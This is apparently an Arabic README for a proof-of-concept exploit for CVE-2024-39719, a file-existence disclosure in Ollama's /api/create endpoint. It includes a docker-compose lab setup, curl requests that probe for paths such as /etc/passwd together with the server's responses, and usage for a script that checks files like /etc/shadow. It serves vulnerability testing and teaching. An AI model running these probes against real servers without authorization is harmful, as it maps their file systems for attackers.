
نص استغلال بايثون لـ CVE-2024-39719، ثغرة كشف وجود ملفات في Ollama. يختبر نقاط نهاية API لكشف مسارات ملفات الخادم، مما يساعد في تحليل الثغرات واختبار الاختراق.
CVE-2024-39719 هي ثغرة كشف وجود ملفات تؤثر على إصدارات Ollama 0.3.14 والإصدارات الأقدم. تسمح هذه الثغرة للمهاجمين باكتشاف وجود ملفات محددة على الخادم من خلال نقطة نهاية API، مما قد يؤدي إلى تسرب المعلومات.
تاريخ الإصدار: 31 أكتوبر 2024
توجد الثغرة في نقطة النهاية /api/create في Ollama. عندما يستدعي المهاجم API CreateModel مع معامل مسار، يقوم الخادم بإرجاع رسائل خطأ مختلفة بناءً على ما إذا كان المسار موجودًا أم لا. يسمح هذا السلوك للمهاجم بتحديد ما إذا كان ملف أو دليل معين موجودًا على الخادم من خلال تحليل رسائل الخطأ.
المشكلة الأساسية هي أنه عند معالجة إدخال المستخدم، يقوم النظام بكشف أخطاء نظام الملفات مباشرة للعميل بدلاً من إخفاء معلومات وجود المسار بشكل صحيح.
تؤثر هذه الثغرة على جميع إصدارات Ollama حتى الإصدار 0.3.14 وما يشملها.
على الرغم من أن ثغرة كشف وجود الملفات قد تبدو أقل خطورة في البداية، إلا أنها يمكن أن:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/.أرسل طلبًا باستخدام curl لمحاولة الوصول إلى ملف غير موجود:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
Response:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
اختبر وجود ملف، مثل /etc/passwd:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
Response:
{"error":"no FROM line for the model was specified"}
من خلال تحليل رسائل الخطأ المختلفة هذه، يمكن للمهاجم تحديد ما إذا كان المسار الهدف موجودًا أم لا، مما يسمح له بالحصول على معلومات حول هيكل ملفات الخادم. لاحظ أن المعلومات التي يُرجعها الخادم قد تختلف حسب الإصدار.
قامت Ollama بإصلاح هذه الثغرة في الإصدارات الأحدث. تشمل الإصلاحات:
/api/create.يسمح لك سكريبت Python المقدم باختبار ما إذا كان خادم Ollama عرضة لـ CVE-2024-39719.
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: رابط خادم Ollama (مطلوب)-f, --file: الملف المراد التحقق من وجوده (الافتراضي هو "/etc/passwd")# التحقق مما إذا كان الخادم عرضة للثغرة
python CVE_2024_39719.py -u http://your-ip:11434
# التحقق مما إذا كان ملف معين موجودًا
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
هذا السكريبت مقدم للأغراض التعليمية واختبار الأمان المشروع فقط. تأكد دائمًا من حصولك على الإذن المناسب قبل اختبار أي نظام للثغرات. قد يؤدي الاختبار غير المصرح به إلى انتهاك القوانين واللوائح.